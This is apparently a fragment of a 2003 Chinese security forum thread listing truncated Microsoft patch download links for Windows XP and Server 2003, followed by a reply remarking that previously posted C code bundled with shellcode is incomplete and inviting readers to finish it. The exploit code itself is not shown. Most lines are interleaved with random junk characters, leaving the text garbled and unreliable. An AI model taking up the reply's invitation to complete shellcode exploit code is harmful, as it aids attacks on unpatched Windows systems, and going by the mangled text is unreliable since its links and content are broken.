- c1 }) ?/ W$ z- g( C2 F# wWindows XP 32 bit Edition ：

1 C: d: j1 o5 A0 f5 rhttp://microsoft.com/downloads/d ... &displaylang=en
  C6 e- v) F' r
Windows XP 64 bit Edition：
# i! a4 \$ G1 K8 b/ o; l
- g5 G' }8 a2 {- Shttp://microsoft.com/downloads/d ... &displaylang=en
' K( L' f) f2 G
, j9 ~' \1 D; t/ \& f& kWindows Server 2003 32 bit Edition：
3 m. V& Q" S2 u, T/ J2 h
http://microsoft.com/downloads/d ... &displaylang=en
. g9 S' r+ z7 \3 E2 n7 B! A5 G
- d( Q! d4 V* L: E* uWindows Server 2003 64 bit Edition：
! I6 s* T! ^3 h5 x1 y
( _5 o0 ]9 [# l# b& e! khttp://microsoft.com/downloads/d ... &displaylang=en
) [, ]. e0 z0 V) `# z6 y3 J3 R


0 j1 H7 ^# J+ N
, I  R* v! i! z4 u6 Z$ B

[此贴子已经被作者于2003-8-9 23:05:32编辑过]

ASEE

上述那段捆绑了SHELL CODE的C代码还不完整，没有处理返回的数据，因此VC下编译后的程序执行后没有反应，大家如果有兴趣研究的话，可以补充完整（俺工作太忙，没有太多的时间去补充，Hoho,不要成为只会使用工具的“伪黑客”，说白了，只会使用工具的人都是菜鸟，网络原理都弄不清楚，还搞什么攻击，KAO）。